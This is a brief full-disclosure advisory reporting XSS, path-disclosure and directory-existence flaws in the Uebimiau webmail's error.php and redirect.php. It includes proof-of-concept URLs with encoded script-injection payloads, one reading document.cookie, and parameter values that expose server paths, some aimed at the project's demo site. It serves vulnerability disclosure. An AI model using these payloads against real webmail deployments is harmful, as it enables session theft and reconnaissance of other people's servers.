[Full-disclosure] Uebimiau Webmail Multiple Vulnerabilities

Synopsis: Multiple Vulnerabilities

Introduction:
Uebimiau is an open source webmail interface.

Details:
Uebimiau doesn't correctly handle the $_GET array in error.php. Many
vulnerabilities have been already discovered, but I would like to introduce
few new ones:
1) XSS
2) Three Web Server Directory Path Disclosure Vulnerabilities
3) Directory Existence Vulnerability

PoC:
<http://www.test.com/redirect.php/&#37;22&#37;3E&#37;3Cscript&#37;3Ealert&#37;28&#37;22XSS&#37;22&#37;29&#37;3C/script&#37;3E?subject=server&amp;server=test&gt;
http://www.uebimiau.org/demo/pop3/error.php?selected_theme=&#37;3Cscript&#37;3Ealert&#40;document.cookie&#41;&#37;3C/script&#37;3E
http://www.uebimiau.org/demo/pop3/error.php?smarty=test
http://www.uebimiau.org/demo/pop3/error.php?selected_theme=test
http://www.uebimiau.org/demo/pop3/error.php?selected_theme=:
http://www.uebimiau.org/demo/pop3/error.php?selected_theme=/etc/apache2/../../var/www/web6/web/demo/pop3/themes/uebimiau/

Regards Michal Majchrowicz.
Hack.pl